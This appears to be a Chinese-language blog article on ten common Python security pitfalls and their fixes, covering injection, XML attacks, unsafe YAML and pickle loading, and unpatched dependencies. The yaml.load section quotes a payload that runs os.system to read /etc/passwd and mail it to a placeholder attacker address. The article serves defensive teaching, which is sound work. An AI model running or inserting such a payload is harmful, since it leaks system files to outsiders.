帶你認(rèn)識Python中黑客喜歡攻擊的10個安全漏洞以及應(yīng)對方法
前言
編寫安全代碼是一件很難的事情。Python也不例外，即使在標(biāo)準(zhǔn)庫中，也有記錄在案的編寫應(yīng)用程序的安全漏洞。下面是Python應(yīng)用程序中最常見的10個安全陷阱以及相關(guān)解決辦法。
Input injection
Injection攻擊非常普遍，有很多種類型的注入。它們影響所有的語言、框架和環(huán)境。
SQL injection是指直接編寫SQL查詢，而不是使用ORM并將字符串和變量混合。我讀過很多代碼，其中“轉(zhuǎn)義引號”被認(rèn)為是一種修復(fù)方法。然而它不是。
命令injection是指任何時候你使用popen，子進(jìn)程，os來調(diào)用一個進(jìn)程。系統(tǒng)從變量中獲取參數(shù)。當(dāng)調(diào)用本地命令時，可能會有人將這些值設(shè)置為惡意的值。
如何修復(fù)：
如果您正在使用web框架，那么可以使用web框架附帶的實(shí)用工具來清理輸入。除非您有很好的理由，否則不要手工構(gòu)造SQL查詢。
對于shell，使用shlex模塊正確地轉(zhuǎn)義輸入。
解析XML
如果您的應(yīng)用程序曾經(jīng)加載并解析過XML文件，那么您很可能正在使用XML標(biāo)準(zhǔn)庫模塊之一。通過XML有一些常見的攻擊。大部分是Dos風(fēng)格的(用來崩潰系統(tǒng)而不是過濾數(shù)據(jù))。這些攻擊很常見，尤其是在解析外部(即不受信任的)XML文件時。
其中一個被稱為“十億個laugh”，因?yàn)橛行лd荷通常包含大量(數(shù)十億)“lols”。基本上，這個想法是您可以在XML中執(zhí)行引用實(shí)體，因此當(dāng)您的低調(diào)的XML解析器試圖將這個XML文件加載到內(nèi)存中時，它將消耗千兆字節(jié)的RAM。如果你不相信，那就試試吧:-)
另一種攻擊使用外部實(shí)體擴(kuò)展。XML支持從外部url引用實(shí)體，XML解析器通常會毫無顧慮地獲取和加載該資源。“攻擊者可以繞過防火墻，訪問受限制的資源，因?yàn)樗械恼埱蠖际怯蓛?nèi)部可靠的IP地址發(fā)出的，而不是來自外部。”
另一種需要考慮的情況是依賴于解碼XML的第三方包，比如配置文件和遠(yuǎn)程api。您甚至可能沒有意識到，您的某個依賴項(xiàng)可能會受到這些類型的攻擊。
解決辦法:
使用defusedxml作為標(biāo)準(zhǔn)庫模塊的替代。它增加了針對這類攻擊的安全防護(hù)。
Assert statements
不要使用斷言語句來防止用戶不應(yīng)該訪問的代碼段。
舉個簡單的例子：
- def foo(request, user): assert user.is_admin, “user does not have access” # secure code...
在默認(rèn)情況下，Python執(zhí)行時使用的是_debug__作為true，但是在生產(chǎn)環(huán)境中，通常使用優(yōu)化來運(yùn)行。這將跳過assert語句，直接進(jìn)入安全代碼，而不管用戶是否為is_admin。
解決辦法:
僅使用assert語句與其他開發(fā)人員通信，如在單元測試中或在防止不正確的API使用中。
計(jì)時攻擊
計(jì)時攻擊本質(zhì)上是一種通過計(jì)時比較所提供的值所花費(fèi)的時間來暴露行為和算法的方法。定時攻擊需要精確性，所以它們通常不能在高延遲的遠(yuǎn)程網(wǎng)絡(luò)上工作。由于大多數(shù)web應(yīng)用程序的延遲都是可變的，所以幾乎不可能編寫HTTP web服務(wù)器上的定時攻擊。
但是，如果您有一個命令行應(yīng)用程序提示輸入密碼，那么攻擊者可以編寫一個簡單的腳本來計(jì)算將它們的值與實(shí)際的密碼進(jìn)行比較所需的時間。有一些令人印象深刻的例子，例如基于ssh的定時攻擊是用Python編寫的。
解決辦法:
使用在Python 3.5中引入的secret .compare_digest來比較密碼和其他私有值。
被污染的站點(diǎn)—包或?qū)肼窂?/strong>
Python的導(dǎo)入系統(tǒng)非常靈活。當(dāng)您試圖為您的測試編寫monkey-patch或重載核心功能時，這是非常棒的。
但是，這是Python中較大的安全漏洞之一。
在您的站點(diǎn)包中安裝第三方包，無論是在虛擬環(huán)境中還是在全局站點(diǎn)包中(通常不建議這樣做)，都會暴露這些包中的安全漏洞。
曾經(jīng)出現(xiàn)過這樣的情況:發(fā)布到PyPi的包的名稱與流行的包類似，但執(zhí)行的是任意代碼。幸運(yùn)的是，并沒有造成傷害。
另一種需要考慮的情況是依賴項(xiàng)的依賴項(xiàng)(等等)。它們可以包含漏洞，還可以通過導(dǎo)入系統(tǒng)覆蓋Python中的默認(rèn)行為。
解決辦法:
審查你的包。看看PyUp。io和他們的安全服務(wù)。為所有應(yīng)用程序使用虛擬環(huán)境，并確保全局站點(diǎn)包盡可能干凈。檢查包簽名。
臨時文件
要在Python中創(chuàng)建臨時文件，通常需要使用mktemp()函數(shù)生成一個文件名，然后使用該名稱創(chuàng)建一個文件。這是不安全的，因?yàn)樵谡{(diào)用mktemp()和第一個進(jìn)程隨后嘗試創(chuàng)建該文件之間的時間內(nèi)，另一個進(jìn)程可能會創(chuàng)建一個具有該名稱的文件。這意味著它可能欺騙您的應(yīng)用程序加載錯誤的數(shù)據(jù)或暴露其他臨時數(shù)據(jù)。
如果調(diào)用了不正確的方法，Python的最新版本將發(fā)出運(yùn)行時警告。
解決辦法:
如果需要生成臨時文件，請使用tempfile模塊并使用mkstemp。
使用yaml.load
這個例子可以在流行的Python項(xiàng)目Ansible中找到：
https://talosintelligence.com/reports/TALOS-2017-0305
您可以提供Ansible Vault，該值作為(有效的)YAML。它使用文件中提供的參數(shù)調(diào)用os.system()。
- !!python/object/apply:os.system ["cat /etc/passwd | mail me@hack.c"]
因此，從用戶提供的值有效地加載YAML文件會讓您很容易受到攻擊。
解決辦法:
使用yaml.safe_load。
Pickles
反序列化pickle數(shù)據(jù)和YAML一樣糟糕。Python類可以聲明一個名為__reduce__的神奇方法，該方法返回一個字符串，或者一個元組，該元組具有可調(diào)用的參數(shù)，在pickle時調(diào)用這些參數(shù)。攻擊者可以使用它來包含對其中一個子進(jìn)程模塊的引用，以便在主機(jī)上運(yùn)行任意命令。
解決辦法:
永遠(yuǎn)不要從不可信或未經(jīng)身份驗(yàn)證的源解除數(shù)據(jù)pickle。而是使用另一種序列化模式，比如JSON。
使用系統(tǒng)Python運(yùn)行時而不打補(bǔ)丁
大多數(shù)POSIX系統(tǒng)都附帶了Python 2的一個版本。通常是舊的。因?yàn)?ldquo;Python”，即CPython是用C寫的，所以有時候Python解釋器本身就有漏洞。C語言中常見的安全問題與內(nèi)存分配有關(guān)，因此緩沖區(qū)溢出錯誤。
多年來，CPython有許多溢出或溢出漏洞，每一個都在后續(xù)的版本中得到了修補(bǔ)和修復(fù)。所以你是安全的。也就是說，如果你修補(bǔ)你的運(yùn)行時。
解決辦法:
為您的產(chǎn)品應(yīng)用程序安裝最新版本的Python，并對其進(jìn)行修補(bǔ)!
沒有修補(bǔ)您的依賴項(xiàng)
與不修補(bǔ)您的運(yùn)行時類似，您還需要定期修補(bǔ)您的依賴項(xiàng)。我發(fā)現(xiàn)在包中“固定”來自PyPi的Python包版本的做法很可怕。這個想法是“這些是可行的版本”，所以每個人都不去管它。
當(dāng)存在于應(yīng)用程序使用的包中時，上述代碼中的所有漏洞都同樣重要。這些包的開發(fā)人員會修復(fù)安全問題。所有的時間。
解決辦法:
使用PyUp這樣的服務(wù)。io檢查更新，提出拉/合并請求到您的應(yīng)用程序，并運(yùn)行您的測試，以保持包的最新。
使用InSpec之類的工具來驗(yàn)證在生產(chǎn)環(huán)境中安裝的版本，并確保修補(bǔ)了最小版本或版本范圍。
